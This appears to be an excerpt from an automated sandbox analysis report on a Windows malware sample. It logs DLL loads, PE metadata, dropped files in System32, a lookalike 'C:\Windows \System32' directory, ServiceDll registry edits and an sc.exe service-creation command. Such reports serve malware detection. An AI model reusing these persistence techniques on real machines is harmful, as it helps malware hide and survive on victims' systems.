Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\Z753638.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\Z753638.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Z369335.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\Z369335.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: printui.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: printui.dll

Static file information: File size 69161984 > 1048576

Source: printui.dll

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x4187e00

Source: printui.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: printui.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: printui.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: printui.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: printui.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: printui.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: printui.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: printui.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Program Files\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdbGG source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb,,, source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdbJJ source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: ucrtbased.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f source: powershell.exe, 0000002D.00000002.2781722907.000001D0D99D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb{{ source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: fhell.PSReadline.pdb source: powershell.exe, 0000001F.00000002.2094887656.0000017B7D944000.00000004.00000020.00020000.00000000.sdmp

Source: printui.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: printui.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: printui.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: printui.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: printui.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: printui.dll	Static PE information: section name: _RDATA
Source: Z295699.dat.0.dr	Static PE information: section name: .nep
Source: Z422697.dat.3.dr	Static PE information: section name: .nep
Source: Z369335.exe.27.dr	Static PE information: section name: .fptable
Source: Z753638.exe.30.dr	Static PE information: section name: .fptable
Source: usvcinsta64.exe.61.dr	Static PE information: section name: .fptable
Source: printui.dll.96.dr	Static PE information: section name: .fptable
Source: console_zero.exe.120.dr	Static PE information: section name: .fptable
Source: vcruntime140d.dll.120.dr	Static PE information: section name: _RDATA
Source: libiconv-2.dll.120.dr	Static PE information: section name: .xdata
Source: libiconv-2.dll.120.dr	Static PE information: section name: /4
Source: libiconv-2.dll.120.dr	Static PE information: section name: /19
Source: libiconv-2.dll.120.dr	Static PE information: section name: /31
Source: libiconv-2.dll.120.dr	Static PE information: section name: /45
Source: libiconv-2.dll.120.dr	Static PE information: section name: /57
Source: libiconv-2.dll.120.dr	Static PE information: section name: /70
Source: libiconv-2.dll.120.dr	Static PE information: section name: /81
Source: libiconv-2.dll.120.dr	Static PE information: section name: /92
Source: libintl-9.dll.120.dr	Static PE information: section name: .xdata
Source: libintl-9.dll.120.dr	Static PE information: section name: /4
Source: libintl-9.dll.120.dr	Static PE information: section name: /19
Source: libintl-9.dll.120.dr	Static PE information: section name: /31
Source: libintl-9.dll.120.dr	Static PE information: section name: /45
Source: libintl-9.dll.120.dr	Static PE information: section name: /57
Source: libintl-9.dll.120.dr	Static PE information: section name: /70
Source: libintl-9.dll.120.dr	Static PE information: section name: /81
Source: libintl-9.dll.120.dr	Static PE information: section name: /92
Source: libwinpthread-1.dll.120.dr	Static PE information: section name: .xdata
Source: x841418.dat.120.dr	Static PE information: section name: .fptable

Persistence and Installation Behavior

Creates a Windows Service pointing to an executable in C:\Windows

Source: C:\Windows\System32\reg.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Z295699\Parameters ServiceDll C:\Windows\System32\Z295699.dat
Source: C:\Windows\System32\reg.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Z422697\Parameters ServiceDll C:\Windows\System32\Z422697.dat

Creates files in the system32 config directory

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\Z369335.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\Z753638.exe
Source: C:\Windows\System32\svchost.exe	Executable created and started: C:\Windows\System32\winsvcf\Z753638.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows \System32\printui.exe
Source: C:\Windows\System32\svchost.exe	Executable created and started: C:\Windows\System32\winsvcf\Z369335.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\usvcinsta64.exe

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z753638.exe	Jump to dropped file
Source: C:\Windows\System32\Z369335.exe	File created: C:\Windows\System32\usvcinsta64.exe	Jump to dropped file
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Windows\System32\loaddll64.exe	File created: C:\Windows\System32\Z295699.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x841418.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z369335.exe	Jump to dropped file
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\System32\Z422697.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\System32\Z369335.exe (copy)	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\System32\Z753638.exe (copy)	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to dropped file

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z753638.exe	Jump to dropped file
Source: C:\Windows\System32\Z369335.exe	File created: C:\Windows\System32\usvcinsta64.exe	Jump to dropped file
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Windows\System32\loaddll64.exe	File created: C:\Windows\System32\Z295699.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x841418.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\Z369335.exe	Jump to dropped file
Source: C:\Windows\System32\usvcinsta64.exe	File created: C:\Windows \System32\printui.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\System32\Z422697.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\System32\Z369335.exe (copy)	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\System32\Z753638.exe (copy)	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to dropped file

Source: C:\Windows\System32\reg.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Z295699\Parameters

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
